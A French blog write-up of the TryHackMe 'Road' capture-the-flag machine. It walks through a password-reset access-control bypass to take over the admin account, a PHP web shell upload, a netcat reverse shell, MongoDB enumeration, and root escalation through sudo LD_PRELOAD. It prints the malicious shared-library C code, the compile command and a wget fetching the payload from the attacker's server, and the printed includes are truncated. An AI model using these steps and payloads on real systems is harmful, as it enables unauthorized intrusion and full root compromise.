Road – Walkthrough Fr | TryHackMe – Write-up

Inspired by a real-world pentesting engagement

Road est un CTF de difficulté medium de TryHackMe. C’est un CTF très bien fait tant sur la partie web avec un Broken Acces Control que sur l’escalade de privilège avec LD_PRELOAD.

Buy Me a Coffee

Enumération

Commande :

nmap -T5 -p- 10.10.239.205

 

Deux ports sont présents. SSH sur le port 22 et un site web sur le port 80. Le port 22 ne sert probablement à rien, il faut passer directement à l’énumération sur site internet

Web enumeration

Commande :

dirsearch -u 10.10.239.205 -x 403

 

Accès au site web

C’est à la base une simple visite afin de voir à quoi ressemble le site internet et voir ce qu’on peut faire. 

Comme il est possible de se créer un compte, autant en faire un…

Accès au compte user

Une fois le compte créer, il faut regarder quelles sont les options que l’utilisateur a le droit de modifier.

L’utilisateur peut faire deux choses, modifier son mot de passer et mettre une photo de profil.

 

Il est important de regarder partout. En particulier, la note indiquant que seul l’admin a la possibilité d’accéder à cette fonction.

 

Broken access control

La seule possibilité que l’utilisateur a finalement est de changer son mot de passe. On va donc le changer, mais en interceptant la requête avec BurpSuite.

La capture suivant montre le changement de mot de passe coté navigateur :

La capture suivante montre le changement de mot de passe côté BurpSuite ( une fois la requête intercepté ).

La requête nous montre trois éléments :

  • adresse mail,
  • son nouveau mot de passe mot de passe
  • sa confirmation.

Dans la mesure où on connaît l’adresse mail du compte admin admin@sky.thm pourquoi ne pas mettre cette dernière à la place de la nôtre.

Accès au compte admin.

Une fois que l’on a renvoyé ( forward ) la requête modifié, il est possibilité d’accéder au compte admin.

Changement de photo

Si on revient à la note, seul l’admin peut modifier sa photo de profil.

On va directement uploader un shell en PHP voir s’il y a un filtrage au niveau des extensions.

Aucun problème, le fichier est bien enregistré. Un message apparait très furtivement « image saved »

Ou est enregistré le fichier ?

Seul problème à résoudre, trouver ou est enregistrer le fichier…

La réponse se trouve dans le code source de la page. En bas… <!– /v2/profileimages/ –>

Initial foothold

L’accès direct à l’URL n’est pas possible.

Directory listing is disabled

Ce n’est pas un problème. Il suffit d’essayer d’accéder directement à notre payload. http://10.10.239.205/v2/profileimages/shell.php

Avec un netcat en écoute, on récupère un reverse shell.

Mouvement latéral : www-data vers webdeveloper.

L’énumération avec linpeas ne donne pas d’information importante. Il apparait que la commande netstat n’a pas été exécuté. En fait netstat n’est pas installé sur la machine. En remplacement, il est possible d’utiliser ss.

Commande :

ss -atur

Il y plusieurs ports qui sont en écoute, dont le port 27017. Il correspond à MongoDB

 

Connexion à mongdb

Commande pour se connecter :

mongo 127.0.0.1

Commande pour check les base de données :

show dbs

Commande pour sélectionner un db :

use

Commande pour voir les tables ( collections ) :

show collection

Commande pour afficher le contenu des colonnes :

db..find()

Escalade de privilège.

Une fois sur le compte de webdeveloper, il faut faire cette commande. Ça reste un des premières commande à effectuer… si ce n’est la 1ière

Commande :

sudo -l

 

L’escalade de privilege est très bien pensé. Il faut utiliser les deux informations qui s’affiche.

LD_PRELOAD et /usr/bin/sky_backup_utility.

Le binary permet de faire des sauvegardes avec des droits root.

LD_PRELOAD permet de charger des bibliothèques partagées au chargement d’un programme. En général, il faut avoir des droits SUDO.

Donc si on créer une bibliothèque partage pour exécuter sky_backup_utility avec la commande sudo on pourrait avoir un accès au compte root si notre bibliothèque partage renvoi vers un shell root ?

Création du payload :

Commande :

vim shell.c

copier ceci à l’intérieur :

#include
#include
#include
void _init () {
 unsetenv ("LD_PRELOAD");
 setgid (0);
 setuid (0);
 system ("/ bin / bash");
}

Commande pour compiler :

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

Si des avertissements apparaissent, aucune importance. À noter que la compilation peut être effectuée sur la machine cible ou sur kali.

Transfert du fichier shell.so avec un serveur web :

python3 -m http.server

Téléchargement sur la machine cible :

wget http://10.11.38.124:8000/shell.so

Commande final pour passer root. 

sudo LD_PRELOAD=/tmp/shell.so /usr/bin/sky_backup_utility

#

 

That’s all folks

Merci d’avoir pris la peine de venir sur le site de lire ce Write Up

J’espère qu’il vous a plus et qu’il vous apprit des nouvelles choses.

N’hésitez pas à laisse un commentaire ou à partager cet article. 

Facebook
Twitter
LinkedIn
Pinterest